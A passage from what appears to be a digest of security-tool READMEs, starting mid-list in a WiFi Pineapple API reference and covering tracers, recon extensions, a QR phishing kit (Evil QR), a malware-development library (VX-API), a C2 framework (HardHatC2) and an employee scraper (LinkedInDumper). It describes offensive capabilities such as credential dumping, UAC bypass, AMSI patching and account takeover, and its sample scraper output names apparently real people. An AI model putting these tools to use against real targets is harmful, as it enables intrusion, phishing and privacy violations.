recon_handshakes.download( (object) handshake, (string) destination )
recon_handshakes.clear()

Scanning methods

recon_scanning = PineappleMK7::Modules::Recon::Scanning.new

recon_scanning.start( (integer) scan_time )
recon_scanning.start_continuous( (boolean) autoHandshake )
recon_scanning.stop_continuous()
recon_scanning.output( (integer) scanID )
recon_scanning.tags( (object) ap )
recon_scanning.deauth_ap( (object) ap )
recon_scanning.delete( (integer) scanID )

Settings

Networking methods

settings_networking = PineappleMK7::Modules::Settings::Networking.new

settings_networking.interfaces()
settings_networking.client_scan( (string) interface )
settings_networking.client_connect( (object) network, (string) interface )
settings_networking.client_disconnect( (string) interface )
settings_networking.recon_interface( (string) interface )

Tiny_Tracer - A Pin Tool For Tracing API Calls Etc

A Pin Tool for tracing:

• API calls, including parameters of selected functions
• selected instructions: RDTSC, CPUID, INT
• inline system calls, including parameters of selected syscalls
• transition between sections of the traced module (helpful in finding OEP of the packed module)

Bypasses the anti-tracing check based on RDTSC.

Generates a report in a .tag format (which can be loaded into other analysis tools):

RVA;traced event

i.e.

345c2;section: .text
58069;called: C:\Windows\SysWOW64\kernel32.dll.IsProcessorFeaturePresent
3976d;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
3983c;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
3999d;called: C:\Windows\SysWOW64\KernelBase.dll.InitializeCriticalSectionEx
398ac;called: C:\Windows\SysWOW64\KernelBase.dll.FlsAlloc
3995d;called: C:\Windows\SysWOW64\KernelBase.dll.FlsSetValue
49275;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
4934b;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
...

How to build

On Windows

To compile the prepared project you need to use Visual Studio >= 2012. It was tested with Intel Pin 3.28.
Clone this repo into \source\tools that is inside your Pin root directory. Open the project in Visual Studio and build. Detailed description available here.
To build with Intel Pin < 3.26 on Windows, use the appropriate legacy Visual Studio project.

On Linux

For now the support for Linux is experimental. Yet it is possible to build and use Tiny Tracer on Linux as well. Please refer tiny_runner.sh for more information. Detailed description available here.

Usage

 Details about the usage you will find on the project's Wiki.

WARNINGS

• In order for Pin to work correctly, Kernel Debugging must be DISABLED.
• In install32_64 you can find a utility that checks if Kernel Debugger is disabled (kdb_check.exe, source), and it is used by the Tiny Tracer's .bat scripts. This utilty sometimes gets flagged as a malware by Windows Defender (it is a known false positive). If you encounter this issue, you may need to exclude the installation directory from Windows Defender scans.
• Since the version 3.20 Pin has dropped a support for old versions of Windows. If you need to use the tool on Windows < 8, try to compile it with Pin 3.19.

Questions? Ideas? Join Discussions!

Noir - An Attack Surface Detector Form Source Code

Key Features

• Automatically identify language and framework from source code.
• Find API endpoints and web pages through code analysis.
• Load results quickly through interactions with proxy tools such as ZAP, Burpsuite, Caido and More Proxy tools.
• That provides structured data such as JSON and HAR for identified Attack Surfaces to enable seamless interaction with other tools. Also provides command line samples to easily integrate and collaborate with other tools, such as curls or httpie.

Available Support Scope

Endpoint's Entities

• Path
• Method
• Param
• Header
• Protocol (e.g ws)

Languages and Frameworks

Specification

Installation

Homebrew (macOS)

brew tap hahwul/noir
brew install noir

From Sources

# Install Crystal-lang
# https://crystal-lang.org/install/

# Clone this repo
git clone https://github.com/hahwul/noir
cd noir

# Install Dependencies
shards install

# Build
shards build --release --no-debug

# Copy binary
cp ./bin/noir /usr/bin/

Docker (GHCR)

docker pull ghcr.io/hahwul/noir:main

Usage

Usage: noir <flags>
  Basic:
    -b PATH, --base-path ./app       (Required) Set base path
    -u URL, --url http://..          Set base url for endpoints
    -s SCOPE, --scope url,param      Set scope for detection

  Output:
    -f FORMAT, --format json         Set output format [plain/json/markdown-table/curl/httpie]
    -o PATH, --output out.txt        Write result to file
    --set-pvalue VALUE               Specifies the value of the identified parameter
    --no-color                       Disable color output
    --no-log                         Displaying only the results

  Deliver:
    --send-req                       Send the results to the web request
    --send-proxy http://proxy..      Send the results to the web request via http proxy

  Technologies:
    -t TECHS, --techs rails,php      Set technologies to use
    --exclude-techs rails,php        Specify the technologies    to be excluded
    --list-techs                     Show all technologies

  Others:
    -d, --debug                      Show debug messages
    -v, --version                    Show version
    -h, --help                       Show help

Example

noir -b . -u https://testapp.internal.domains

JSON Result

noir -b . -u https://testapp.internal.domains -f json

[
  ...
  {
    "headers": [],
    "method": "POST",
    "params": [
      {
        "name": "article_slug",
        "param_type": "json",
        "value": ""
      },
      {
        "name": "body",
        "param_type": "json",
        "value": ""
      },
      {
        "name": "id",
        "param_type": "json",
        "value": ""
      }
    ],
    "protocol": "http",
    "url": "https://testapp.internal.domains/comments"
  }
]

Evil QR - Proof-of-concept To Demonstrate Dynamic QR Swap Phishing Attacks In Practice

Toolkit demonstrating another approach of a QRLJacking attack, allowing to perform remote account takeover, through sign-in QR code phishing.

It consists of a browser extension used by the attacker to extract the sign-in QR code and a server application, which retrieves the sign-in QR codes to display them on the hosted phishing pages.

Watch the demo video:

Read more about it on my blog: https://breakdev.org/evilqr-phishing

Configuration

The parameters used by Evil QR are hardcoded into extension and server source code, so it is important to change them to use custom values, before you build and deploy the toolkit.

Here are all the places in the source code, where the values should be modified:

server/core/config.go:

build_run.bat

chmod 700 build.sh
./build.sh

https://discord.com/login
https://web.telegram.org/k/
https://whatsapp.com
https://store.steampowered.com/login/
https://accounts.binance.com/en/login
https://www.tiktok.com/login

AiCEF - An AI-assisted cyber exercise content generation framework using named entity recognition

AiCEF is a tool implementing the accompanying framework [1] in order to harness the intelligence that is available from online resources, as well as threat groups' activities, arsenal (eg. MITRE), to create relevant and timely cybersecurity exercise content. This way, we abstract the events from the reports in a machine-readable form. The produced graphs can be infused with additional intelligence, e.g. the threat actor profile from MITRE, also mapped in our ontology. While this may fill gaps that would be missing from a report, one can also manipulate the graph to create custom and unique models. Finally, we exploit transformer-based language models like GPT to convert the graph into text that can serve as the scenario of a cybersecurity exercise. We have tested and validated AiCEF with a group of experts in cybersecurity exercises, and the results clearly show that AiCEF significantly augments the capabilities in creating timely and relevant cybersecurity exercises in terms of both quality and time.

We used Python to create a machine-learning-powered Exercise Generation Framework and developed a set of tools to perform a set of individual tasks which would help an exercise planner (EP) to create a timely and targeted Cybersecurity Exercise Scenario, regardless of her experience.

Problems an Exercise Planner faces:

• Constant table-top research to have fresh content
• Realistic CSE scenario creation can be difficult and time-consuming
• Meeting objectives but also keeping it appealing for the target audience
• Is the relevance and timeliness aspects considered?
• Can all the above be automated?

Our Main Objective: Build an AI powered tool that can generate relevant and up-to-date Cyber Exercise Content in a few steps with little technical expertise from the user.

Release Roadmap

The updated project, AiCEF v.2.0 is planned to be publicly released by the end of 2023, pending heavy code review and functionality updates. Submodules with reduced functinality will start being release by early June 2023. Thank you for your patience.

Installation

The most convenient way to install AiCEF is by using the docker-compose command. For production deployment, we advise you deploy MySQL manually in a dedicated environment and then to start the other components using Docker.

First, make sure you have docker-compose installed in your environment:



Linux:

$ sudo apt-get install docker-compose

Then, clone the repository:

$ git clone https://github.com/grazvan/AiCEF/docker.git /<choose-a-path>/AiCEF-docker
$ cd /<choose-a-path>/AiCEF-docker

Configure the environment settings

Import the MySQL file in your

$ mysql -u <your_username> –-password=<your_password> AiCEF_db < AiCEF_db.sql 

Before running the docker-compose command, settings must be configured. Copy the sample settings file and change it accordingly to your needs.

$ cp .env.sample .env

Run AiCEF

Note: Make sure you have an OpenAI API key available. Load the environment setttings (including your MySQL connection details):

set -a ; source .env

Finally, run docker-compose in detached (-d) mode:

$ sudo docker-compose up -d

Usage

A common usage flow consists of generating a Trend Report to analyze patterns over time, parsing relevant articles and converting them into Incident Breadcrumbs using MLTP module and storing them in a knowledge database called KDb. Incidents are then generated using IncGen component and can be enhanced using the Graph Enhancer module to simulate known APT activity. The incidents come with injects that can be edited on the fly. The CSE scenario is then created using CEGen, which defines various attributes like CSE name, number of Events, and Incidents. MLCESO is a crucial step in the methodology where dedicated ML models are trained to extract information from the collected articles with over 80% accuracy. The Incident Generation & Enhancer (IncGen) workflow can be automated, generating a variety of incidents based on filtering parameters and the existing database. The knowledge database (KDB) consists of almost 3000 articles classified into six categories that can be augmented using APT Enhancer by using the activity of known APT groups from MITRE or manually.

Find below some sample usage screenshots:

Features

• An AI-powered Cyber Exercise Generation Framework
• Developed in Python & EEL
• Open source library Stixview
• Stores data in MYSQL
• API to Text Synthesis Models (ex. GPT-3.5)
• Can create incidents based on TTPs of 125 known APT actors
• Models Cyber Exercise Content in machine readable STIX2.1 [2] (.json) and human readable format (.pdf)

Authors

AiCEF is a product designed and developed by Alex Zacharis, Razvan Gavrila and Constantinos Patsakis.

References

[1] https://link.springer.com/article/10.1007/s10207-023-00693-z

[2] https://oasis-open.github.io/cti-documentation/stix/intro.html

Contributing

Contributions are welcome! If you'd like to contribute to AiCEF v2.0, please follow these steps:

1. Fork this repository
2. Create a new branch (git checkout -b feature/your-branch-name)
3. Make your changes and commit them (git commit -m 'Add some feature')
4. Push to the branch (git push origin feature/your-branch-name)
5. Open a new pull request

License

AiCEF is licensed under Attribution-NonCommercial 4.0 International (CC BY-NC 4.0) license. See for more information.

Under the following terms:

Attribution — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use. NonCommercial — You may not use the material for commercial purposes. No additional restrictions — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.

VX-API - Collection Of Various Malicious Functionality To Aid In Malware Development

The VX-API is a collection of malicious functionality to aid in malware development. It is recommended you clone and/or download this entire repo then open the Visual Studio solution file to easily explore functionality and concepts.

Some functions may be dependent on other functions present within the solution file. Using the solution file provided here will make it easier to identify which other functionality and/or header data is required.

You're free to use this in any manner you please. You do not need to use this entire solution for your malware proof-of-concepts or Red Team engagements. Strip, copy, paste, delete, or edit this projects contents as much as you'd like.

List of features

Anti-debug

Cryptography Related

Error Handling

Evasion

Fingerprinting

Helper Functions

Library Loading

Lsass Dumping

Network Connectivity

Other

Process Creation

Process Injection

Proxied Functions

Shellcode Execution

String Manipulation

UAC Bypass

Rad98 Hooking Engine

Generic Shellcode

ReconAIzer - A Burp Suite Extension To Add OpenAI (GPT) On Burp And Help You With Your Bug Bounty Recon To Discover Endpoints, Params, URLs, Subdomains And More!

ReconAIzer is a powerful Jython extension for Burp Suite that leverages OpenAI to help bug bounty hunters optimize their recon process. This extension automates various tasks, making it easier and faster for security researchers to identify and exploit vulnerabilities.

Once installed, ReconAIzer add a contextual menu and a dedicated tab to see the results:

Prerequisites

• Burp Suite
• Jython Standalone Jar

Installation

Follow these steps to install the ReconAIzer extension on Burp Suite:

Step 1: Download Jython

1. Download the latest Jython Standalone Jar from the official website: https://www.jython.org/download
2. Save the Jython Standalone Jar file in a convenient location on your computer.

Step 2: Configure Jython in Burp Suite

1. Open Burp Suite.
2. Go to the "Extensions" tab.
3. Click on the "Extensions settings" sub-tab.
4. Under "Python Environment," click on the "Select file..." button next to "Location of the Jython standalone JAR file."
5. Browse to the location where you saved the Jython Standalone Jar file in Step 1 and select it.
6. Wait for the "Python Environment" status to change to "Jython (version x.x.x) successfully loaded," where x.x.x represents the Jython version.

Step 3: Download and Install ReconAIzer

1. Download the latest release of ReconAIzer
2. Open Burp Suite
3. Go back to the "Extensions" tab in Burp Suite.
4. Click the "Add" button.
5. In the "Add extension" dialog, select "Python" as the "Extension type."
6. Click on the "Select file..." button next to "Extension file" and browse to the location where you saved the ReconAIzer.py file in Step 3.1. Select the file and click "Open."
7. Make sure the "Load" checkbox is selected and click the "Next" button.
8. Wait for the extension to be loaded. You should see a message in the "Output" section stating that the ReconAIzer extension has been successfully loaded.

Congratulations! You have successfully installed the ReconAIzer extension in Burp Suite. You can now start using it to enhance your bug bounty hunting experience.

Once it's done, you must configure your OpenAI API key on the "Config" tab under "ReconAIzer" tab.

• Your OpenAI API key can be found here: https://platform.openai.com/account/api-keys.

Feel free to suggest prompts improvements or anything you would like to see on ReconAIzer!

Happy bug hunting!

HardHatC2 - A C# Command And Control Framework

A cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.

HardHat is a multiplayer C# .NET-based command and control framework. Designed to aid in red team engagements and penetration testing. HardHat aims to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.
It contains three primary components, an ASP.NET teamserver, a blazor .NET client, and C# based implants.

Release Tracking

Alpha Release - 3/29/23 NOTE: HardHat is in Alpha release; it will have bugs, missing features, and unexpected things will happen. Thank you for trying it, and please report back any issues or missing features so they can be addressed.

Community

Discord Join the community to talk about HardHat C2, Programming, Red teaming and general cyber security things The discord community is also a great way to request help, submit new features, stay up to date on the latest additions, and submit bugs.

Features

Teamserver & Client

• Per-operator accounts with account tiers to allow customized access control and features, including view-only guest modes, team-lead opsec approval(WIP), and admin accounts for general operation management.
• Managers (Listeners)
• Dynamic Payload Generation (Exe, Dll, shellcode, PowerShell command)
• Creation & editing of C2 profiles on the fly in the client
• Customization of payload generation
  • sleep time/jitter
  • kill date
  • working hours
  • type (Exe, Dll, Shellcode, ps command)
  • Included commands(WIP)
  • option to run confuser
• File upload & Downloads
• Graph View
• File Browser GUI
• Event Log
• JSON logging for events & tasks
• Loot tracking (Creds, downloads)
• IOC tracing
• Pivot proxies (SOCKS 4a, Port forwards)
• Cred store
• Autocomplete command history
• Detailed help command
• Interactive bash terminal command if the client is on linux or powershell on windows, this allows automatic parsing and logging of terminal commands like proxychains
• Persistent database storage of teamserver items (User accounts, Managers, Engineers, Events, tasks, creds, downloads, uploads, etc. )
• Recon Entity Tracking (track info about users/devices, random metadata as needed)
• Shared files for some commands (see teamserver page for details)
• tab-based interact window for command issuing
• table-based output option for some commands like ls, ps, etc.
• Auto parsing of output from seatbelt to create "recon entities" and fill entries to reference back to later easily
• Dark and Light
  冷
  theme

Engineers

• C# .NET framework implant for windows devices, currently only CLR/.NET 4 support
• atm only one implant, but looking to add others
• It can be generated as EXE, DLL, shellcode, or PowerShell stager
• Rc4 encryption of payload memory & heap when sleeping (Exe / DLL only)
• AES encryption of all network communication
• ConfuserEx integration for obfuscation
• HTTP, HTTPS, TCP, SMB communication
  • TCP & SMB can work P2P in a bind or reverse setups
• Unique per implant key generated at compile time
• multiple callback URI's depending on the C2 profile
• P/Invoke & D/Invoke integration for windows API calls
• SOCKS 4a support
• Reverse Port Forward & Port Forwards
• All commands run as async cancellable jobs
  • Option to run commands sync if desired
• Inline assembly execution & inline shellcode execution
• DLL Injection
• Execute assembly & Mimikatz integration
• Mimikatz is not built into the implant but is pushed when specific commands are issued
• Various localhost & network enumeration tools
• Token manipulation commands
  • Steal Token Mask(WIP)
• Lateral Movement Commands
• Jump (psexec, wmi, wmi-ps, winrm, dcom)
• Remote Execution (WIP)
• AMSI & ETW Patching
• Unmanaged Powershell
• Script Store (can load multiple scripts at once if needed)
• Spawn & Inject
  • Spawn-to is configurable
• run, shell & execute

Documentation

documentation can be found at docs

Getting Started

Prerequisites

• Installation of the .net 7 SDK from Microsoft
• Once installed, the teamserver and client are started with dotnet run

Teamserver

To configure the team server's starting address (where clients will connect), edit the HardHatC2\TeamServer\Properties\LaunchSettings.json changing the "applicationUrl": "https://127.0.0.1:5000" to the desired location and port. start the teamserver with dotnet run from its top-level folder ../HrdHatC2/Teamserver/

HardHat Client

1. When starting the client to set the target teamserver location, include it in the command line dotnet run https://127.0.0.1:5000 for example
2. open a web browser and navigate to https://localhost:7096/ if this works, you should see the login page
3. Log in with the HardHat_Admin user (Password is printed on first TeamServer startup)
4. Navigate to the settings page & create a new user if successful, a message should appear, then you may log in with that account to access the full client

Contributions & Bug Reports

Code contributions are welcome feel free to submit feature requests, pull requests or send me your ideas on discord.

Burpgpt - A Burp Suite Extension That Integrates OpenAI's GPT To Perform An Additional Passive Scan For Discovering Highly Bespoke Vulnerabilities, And Enables Running Traffic-Based Analysis Of Any Type

burpgpt leverages the power of AI to detect security vulnerabilities that traditional scanners might miss. It sends web traffic to an OpenAI model specified by the user, enabling sophisticated analysis within the passive scanner. This extension offers customisable prompts that enable tailored web traffic analysis to meet the specific needs of each user. Check out the Example Use Cases section for inspiration.

The extension generates an automated security report that summarises potential security issues based on the user's prompt and real-time data from Burp-issued requests. By leveraging AI and natural language processing, the extension streamlines the security assessment process and provides security professionals with a higher-level overview of the scanned application or endpoint. This enables them to more easily identify potential security issues and prioritise their analysis, while also covering a larger potential attack surface.

[!WARNING] Data traffic is sent to OpenAI for analysis. If you have concerns about this or are using the extension for security-critical applications, it is important to carefully consider this and review OpenAI's Privacy Policy for further information.

[!WARNING] While the report is automated, it still requires triaging and post-processing by security professionals, as it may contain false positives.

[!WARNING] The effectiveness of this extension is heavily reliant on the quality and precision of the prompts created by the user for the selected GPT model. This targeted approach will help ensure the GPT model generates accurate and valuable results for your security analysis.

Features

• Adds a passive scan check, allowing users to submit HTTP data to an OpenAI-controlled GPT model for analysis through a placeholder system.
• Leverages the power of OpenAI's GPT models to conduct comprehensive traffic analysis, enabling detection of various issues beyond just security vulnerabilities in scanned applications.
• Enables granular control over the number of GPT tokens used in the analysis by allowing for precise adjustments of the maximum prompt length.
• Offers users multiple OpenAI models to choose from, allowing them to select the one that best suits their needs.
• Empowers users to customise prompts and unleash limitless possibilities for interacting with OpenAI models. Browse through the Example Use Cases for inspiration.
• Integrates with Burp Suite, providing all native features for pre- and post-processing, including displaying analysis results directly within the Burp UI for efficient analysis.
• Provides troubleshooting functionality via the native Burp Event Log, enabling users to quickly resolve communication issues with the OpenAI API.

Requirements

1. System requirements:

• Operating System: Compatible with Linux, macOS, and Windows operating systems.

• Java Development Kit (JDK): Version 11 or later.

• Burp Suite Professional or Community Edition: Version 2023.3.2 or later.

  [!IMPORTANT] Please note that using any version lower than 2023.3.2 may result in a java.lang.NoSuchMethodError. It is crucial to use the specified version or a more recent one to avoid this issue.

2. Build tool:

• Gradle: Version 6.9 or later (recommended). The build.gradle file is provided in the project repository.

3. Environment variables:

• Set up the JAVA_HOME environment variable to point to the JDK installation directory.

Please ensure that all system requirements, including a compatible version of Burp Suite, are met before building and running the project. Note that the project's external dependencies will be automatically managed and installed by Gradle during the build process. Adhering to the requirements will help avoid potential issues and reduce the need for opening new issues in the project repository.

Installation

1. Compilation

1. Ensure you have Gradle installed and configured.

2. Download the burpgpt repository:

   git clone https://github.com/aress31/burpgpt
   cd .\burpgpt\

3. Build the standalone jar:

   ./gradlew shadowJar

2. Loading the Extension Into Burp Suite

To install burpgpt in Burp Suite, first go to the Extensions tab and click on the Add button. Then, select the burpgpt-all jar file located in the .\lib\build\libs folder to load the extension.

Usage

To start using burpgpt, users need to complete the following steps in the Settings panel, which can be accessed from the Burp Suite menu bar:

1. Enter a valid OpenAI API key.
2. Select a model.
3. Define the max prompt size. This field controls the maximum prompt length sent to OpenAI to avoid exceeding the maxTokens of GPT models (typically around 2048 for GPT-3).
4. Adjust or create custom prompts according to your requirements.

Once configured as outlined above, the Burp passive scanner sends each request to the chosen OpenAI model via the OpenAI API for analysis, producing Informational-level severity findings based on the results.

Prompt Configuration

burpgpt enables users to tailor the prompt for traffic analysis using a placeholder system. To include relevant information, we recommend using these placeholders, which the extension handles directly, allowing dynamic insertion of specific values into the prompt:

These placeholders can be used in the custom prompt to dynamically generate a request/response analysis prompt that is specific to the scanned request.

[!NOTE] > Burp Suite provides the capability to support arbitrary placeholders through the use of Session handling rules or extensions such as Custom Parameter Handler, allowing for even greater customisation of the prompts.

Example Use Cases

The following list of example use cases showcases the bespoke and highly customisable nature of burpgpt, which enables users to tailor their web traffic analysis to meet their specific needs.

• Identifying potential vulnerabilities in web applications that use a crypto library affected by a specific CVE:

  Analyse the request and response data for potential security vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER}:
  
  Web Application URL: {URL}
  Crypto Library Name: {CRYPTO_LIBRARY_NAME}
  CVE Number: CVE-{CVE_NUMBER}
  Request Headers: {REQUEST_HEADERS}
  Response Headers: {RESPONSE_HEADERS}
  Request Body: {REQUEST_BODY}
  Response Body: {RESPONSE_BODY}
  
  Identify any potential vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER} in the request and response data and report them.
  

• Scanning for vulnerabilities in web applications that use biometric authentication by analysing request and response data related to the authentication process:

  Analyse the request and response data for potential security vulnerabilities related to the biometric authentication process:
  
  Web Application URL: {URL}
  Biometric Authentication Request Headers: {REQUEST_HEADERS}
  Biometric Authentication Response Headers: {RESPONSE_HEADERS}
  Biometric Authentication Request Body: {REQUEST_BODY}
  Biometric Authentication Response Body: {RESPONSE_BODY}
  
  Identify any potential vulnerabilities related to the biometric authentication process in the request and response data and report them.
  

• Analysing the request and response data exchanged between serverless functions for potential security vulnerabilities:

  Analyse the request and response data exchanged between serverless functions for potential security vulnerabilities:
  
  Serverless Function A URL: {URL}
  Serverless Function B URL: {URL}
  Serverless Function A Request Headers: {REQUEST_HEADERS}
  Serverless Function B Response Headers: {RESPONSE_HEADERS}
  Serverless Function A Request Body: {REQUEST_BODY}
  Serverless Function B Response Body: {RESPONSE_BODY}
  
  Identify any potential vulnerabilities in the data exchanged between the two serverless functions and report them.
  

• Analysing the request and response data for potential security vulnerabilities specific to a Single-Page Application (SPA) framework:

  Analyse the request and response data for potential security vulnerabilities specific to the {SPA_FRAMEWORK_NAME} SPA framework:
  
  Web Application URL: {URL}
  SPA Framework Name: {SPA_FRAMEWORK_NAME}
  Request Headers: {REQUEST_HEADERS}
  Response Headers: {RESPONSE_HEADERS}
  Request Body: {REQUEST_BODY}
  Response Body: {RESPONSE_BODY}
  
  Identify any potential vulnerabilities related to the {SPA_FRAMEWORK_NAME} SPA framework in the request and response data and report them.
  

Roadmap

• Add a new field to the Settings panel that allows users to set the maxTokens limit for requests, thereby limiting the request size.
• Add support for connecting to a local instance of the AI model, allowing users to run and interact with the model on their local machines, potentially improving response times and data privacy.
• Retrieve the precise maxTokens value for each model to transmit the maximum allowable data and obtain the most extensive GPT response possible.
• Implement persistent configuration storage to preserve settings across Burp Suite restarts.
• Enhance the code for accurate parsing of GPT responses into the Vulnerability model for improved reporting.

Project Information

The extension is currently under development and we welcome feedback, comments, and contributions to make it even better.

Sponsor

If this extension has saved you time and hassle during a security assessment, consider showing some love by sponsoring a cup of coffee

Reporting Issues

Did you find a bug? Well, don't just let it crawl around! Let's squash it together like a couple of bug whisperers!

Please report any issues on the GitHub issues tracker. Together, we'll make this extension as reliable as a cockroach surviving a nuclear apocalypse!

Contributing

Looking to make a splash with your mad coding skills?

Awesome! Contributions are welcome and greatly appreciated. Please submit all PRs on the GitHub pull requests tracker. Together we can make this extension even more amazing!

License

See LICENSE.

Bypass-Sandbox-Evasion - Bypass Malware Sandbox Evasion Ram Check

Sandboxes are commonly used to analyze malware. They provide a temporary, isolated, and secure environment in which to observe whether a suspicious file exhibits any malicious behavior. However, malware developers have also developed methods to evade sandboxes and analysis environments. One such method is to perform checks to determine whether the machine the malware is being executed on is being operated by a real user. One such check is the RAM size. If the RAM size is unrealistically small (e.g., 1GB), it may indicate that the machine is a sandbox. If the malware detects a sandbox, it will not execute its true malicious behavior and may appear to be a benign file

Details

• The GetPhysicallyInstalledSystemMemory API retrieves the amount of RAM that is physically installed on the computer from the SMBIOS firmware tables. It takes a PULONGLONG parameter and returns TRUE if the function succeeds, setting the TotalMemoryInKilobytes to a nonzero value. If the function fails, it returns FALSE.

     

• The amount of physical memory retrieved by the GetPhysicallyInstalledSystemMemory function must be equal to or greater than the amount reported by the GlobalMemoryStatusEx function; if it is less, the SMBIOS data is malformed and the function fails with ERROR_INVALID_DATA, Malformed SMBIOS data may indicate a problem with the user's computer .

  

• The register rcx holds the parameter TotalMemoryInKilobytes. To overwrite the jump address of GetPhysicallyInstalledSystemMemory, I use the following opcodes: mov qword ptr ss:[rcx],4193B840. This moves the value 4193B840 (or 1.1 TB) to rcx. Then, the ret instruction is used to pop the return address off the stack and jump to it, Therefore, whenever GetPhysicallyInstalledSystemMemory is called, it will set rcx to the custom value."

  

LinkedInDumper - Tool To Dump Company Employees From LinkedIn API

Description

LinkedInDumper is a Python 3 script that dumps employee data from the LinkedIn social networking platform.

The results contain firstname, lastname, position (title), location and a user's profile link. Only 2 API calls are required to retrieve all employees if the company does not have more than 10 employees. Otherwise, we have to paginate through the API results. With the --email-format CLI flag one can define a Python string format to auto generate email addresses based on the retrieved first and last name.

Requirements

LinkedInDumper talks with the unofficial LinkedIn Voyager API, which requires authentication. Therefore, you must have a valid LinkedIn user account. To keep it simple, LinkedInDumper just expects a cookie value provided by you. Doing it this way, even 2FA protected accounts are supported. Furthermore, you are tasked to provide a LinkedIn company URL to dump employees from.

Retrieving LinkedIn Cookie

1. Sign into www.linkedin.com and retrieve your li_at session cookie value e.g. via developer tools
2. Specify the cookie value either persistently in the python script's variable li_at or temporarily during runtime via the CLI flag --cookie

Retrieving LinkedIn Company URL

1. Search your target company on Google Search or directly on LinkedIn
2. The LinkedIn company URL should look something like this: https://www.linkedin.com/company/apple

Usage

usage: linkedindumper.py [-h] --url <linkedin-url> [--cookie <cookie>] [--quiet] [--include-private-profiles] [--email-format EMAIL_FORMAT]

options:
  -h, --help            show this help message and exit
  --url <linkedin-url>  A LinkedIn company url - https://www.linkedin.com/company/<company>
  --cookie <cookie>     LinkedIn 'li_at' session cookie
  --quiet               Show employee results only
  --include-private-profiles
                        Show private accounts too
  --email-format        Python string format for emails; for example:
                         [1] john.doe@example.com > '{0}.{1}@example.com'
                         [2] j.doe@example.com > '{0[0]}.{1}@example.com'
                         [3] jdoe@example.com > '{0[0]}{1}@example.com'
                         [4] doe@example.com > '{1}@example.com'
                         [5] john@example.com    > '{0}@example.com'
                         [6] jd@example.com > '{0[0]}{1[0]}@example.com'

Example 1 - Docker Run

docker run --rm l4rm4nd/linkedindumper:latest --url 'https://www.linkedin.com/company/apple' --cookie <cookie> --email-format '{0}.{1}@apple.de'

Example 2 - Native Python

# install dependencies
pip install -r requirements.txt

python3 linkedindumper.py --url 'https://www.linkedin.com/company/apple' --cookie <cookie> --email-format '{0}.{1}@apple.de'

Outputs

The script will return employee data as semi-colon separated values (like CSV):

 ██▓     ██▓ ███▄    █  ██ ▄█▀▓█████ ▓█████▄  ██▓ ███▄    █ ▓█████▄  █    ██  ███▄ ▄███▓ ██▓███  ▓█████  ██▀███  
▓██▒    ▓██▒ ██ ▀█   █  ██▄█▒ ▓█   ▀ ▒██▀ ██▌▓██▒ ██ ▀█   █ ▒██▀ ██▌ ██  ▓██▒▓██▒▀█&   #9600; ██▒▓██░  ██▒▓█   ▀ ▓██ ▒ ██▒
▒██░    ▒██▒▓██  ▀█ ██▒▓███▄░ ▒███   ░██   █▌▒██▒▓██  ▀█ ██▒░██   █▌▓██  ▒██░▓██    ▓██░▓██░ ██▓▒▒███   ▓██ ░▄█ ▒
▒██░    ░██░▓██▒  ▐▌██▒▓██ █▄ ▒▓█  ▄ ░▓█▄   ▌&#   9617;██░▓██▒  ▐▌██▒░▓█▄   ▌▓▓█  ░██░▒██    ▒██ ▒██▄█▓▒ ▒▒▓█  ▄ ▒██▀▀█▄  
░██████▒░██░▒██░   ▓██░▒██▒ █▄░▒████▒░▒████▓ ░██░▒██░   ▓██░░▒████▓ ▒▒█████▓ ▒██▒   ░██▒▒██▒ ░  ░░▒████&   #9618;░██▓ ▒██▒
░ ▒░▓  ░░▓  ░ ▒░   ▒ ▒ ▒ ▒▒ ▓▒░░ ▒░ ░ ▒▒▓  ▒ ░▓  ░ ▒░   ▒ ▒  ▒▒▓  ▒ ░▒▓▒ ▒ ▒ ░ ▒░   ░  ░▒▓▒░ ░  ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░ ▒  ░ ▒ ░░ ░░   ░ ▒░░ ░▒ ▒░ ░ ░  ░ ░ ▒  ▒  ▒ ░░ ░░   ░ ▒░ ░ ▒  ▒ ░░▒░ ░ ░ ░  ░      ░░▒ ░      ░ ░  ░  ░▒    ░ ▒░
  ░ ░    ▒ ░   ░   ░ ░ ░ ░░ ░    ░    ░ ░  ░  ▒ ░   ░   ░ ░  ░ ░  ░  ░░░ ░ ░ ░      ░   ░░          ░     ░░   ░ 
    ░  ░ ░           ░ ░  ░      ░  ░   ░     ░           ░    ░       ░            ░               ░  ░   ░     
                                      ░                      ░                                         ░ by LRVT      

[i] Company Name: apple
[i] Company X-ID: 162479
[i] LN Employees: 1000 employees found
[i] Dumping Date: 17/10/2022 13:55:06
[i] Email Format: {0}.{1}@apple.de
Firstname;Lastname;Email;Position;Gender;Location;Profile
Katrin;Honauer;katrin.honauer@apple.com;Software Engineer at Apple;N/A;Heidelberg;https://www.linkedin.com/in/katrin-honauer
Raymond;Chen;raymond.chen@apple.com;Recruiting at Apple;N/A;Austin, Texas Metropolitan Area;https://www.linkedin.com/in/raytherecruiter

[i] Successfully crawled 2 unique apple employee(s). Hurray ^_-

Limitations

LinkedIn will allow only the first 1,000 search results to be returned when harvesting contact information. You may also need a LinkedIn premium account when you reached the maximum allowed queries for visiting profiles with your freemium LinkedIn account.

Furthermore, not all employee profiles are public. The results vary depending on your used LinkedIn account and whether you are befriended with some employees of the company to crawl or not. Therefore, it is sometimes not possible to retrieve the firstname, lastname and profile url of some employee accounts. The script will not display such profiles, as they contain default values such as "LinkedIn" as firstname and "Member" in the lastname. If you want to include such private profiles, please use the CLI flag --include-private-profiles. Although some accounts may be private, we can obtain the position (title) as well as the location of such accounts. Only firstname, lastname and profile URL are hidden for private LinkedIn accounts.

Finally, LinkedIn users are free to name their profile. An account name can therefore consist of various things such as saluations, abbreviations, emojis, middle names etc. I tried my best to remove some nonsense. However, this is not a complete solution to the general problem. Note that we are not using the official LinkedIn API. This script gathers information from the "unofficial" Voyager API.

